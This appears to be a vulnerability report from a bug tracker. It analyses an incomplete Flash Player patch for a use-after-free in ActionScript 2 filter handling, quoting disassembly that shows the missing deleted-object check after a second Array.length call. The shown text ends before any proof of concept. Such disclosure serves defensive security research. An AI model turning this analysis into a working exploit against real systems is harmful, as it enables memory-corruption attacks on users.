Chrome Version: N/A yet, Flash
Operating System: [Win7 x64 SP1]


Flash patched  Issue 480496  by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):

.text:004D71DA loc_4D71DA:
.text:004D71DA                 and     ecx, 0FFFFFFF8h
.text:004D71DD                 call    xAS2_getArrayLength
.text:004D71E2                 test    eax, eax
.text:004D71E4                 jle     short loc_4D725D
.text:004D71E6                 mov     ecx, [esp+8+arg_C]
.text:004D71EA                 mov     eax, [ecx+94h]
.text:004D71F0                 test    eax, 0FFFFFFFEh
.text:004D71F5                 jz      short loc_4D7200
.text:004D71F7                 and     eax, 0FFFFFFFEh
.text:004D71FA                 cmp     dword ptr [eax+28h], 0       ; here we check whether the object has been deleted or not
.text:004D71FE                 jnz     short loc_4D720B
.text:004D7200 loc_4D7200:
.text:004D7200                 mov     ecx, dword_E51A40
.text:004D7206                 call    sub_968A00                   ; and in that case we suicide

Unfortunately they forget to do that check after the second Array.length call:

.text:004D721D loc_4D721D:
.text:004D721D                 and     eax, 0FFFFFFF8h
.text:004D7220                 push    edi
.text:004D7221                 mov     edi, eax
.text:004D7223                 mov     ecx, edi
.text:004D7225                 xor     esi, esi
.text:004D7227                 call    xAS2_getArrayLength       ; here we can still execute a script and delete the filters...
.text:004D722C                 test    eax, eax
.text:004D722E                 jle     short loc_4D725C

Should crash that way:
